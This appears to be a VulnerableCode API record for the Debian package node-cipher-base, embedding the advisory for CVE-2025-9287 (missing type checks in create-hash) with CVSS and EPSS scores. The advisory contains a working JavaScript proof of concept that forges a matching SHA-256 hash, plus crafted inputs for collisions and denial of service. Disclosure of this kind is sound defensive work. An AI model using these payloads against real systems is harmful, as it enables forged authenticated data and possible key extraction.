{"url":"http://public2.vulnerablecode.io/api/packages/1051075?format=json","purl":"pkg:deb/debian/node-cipher-base@1.0.4-4","type":"deb","namespace":"debian","name":"node-cipher-base","version":"1.0.4-4","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"1.0.4-6+deb12u1","latest_non_vulnerable_version":"1.0.4-6+deb12u1","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28130?format=json","vulnerability_id":"VCID-tt31-4d54-k7cz","summary":"cipher-base is missing type checks, leading to hash rewind and passing on crafted data\n### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = createHash('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9287.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9287.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9287","reference_id":"","reference_type":"","scores":[{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.2875","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.2867","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28605","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28798","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28449","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28565","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28615","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.2864","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.2862","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28668","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28713","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00106","scoring_system":"epss","scoring_elements":"0.28711","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00116","scoring_system":"epss","scoring_elements":"0.29928","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00116","scoring_system":"epss","scoring_elements":"0.30006","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00116","scoring_system":"epss","scoring_elements":"0.29793","published_at":"2026-05-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9287"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9287","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9287"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/browserify/cipher-base","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/browserify/cipher-base"},{"reference_url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294"},{"reference_url":"https://github.com/browserify/cipher-base/pull/23","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:49Z/"}],"url":"https://github.com/browserify/cipher-base/pull/23"},{"reference_url":"https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/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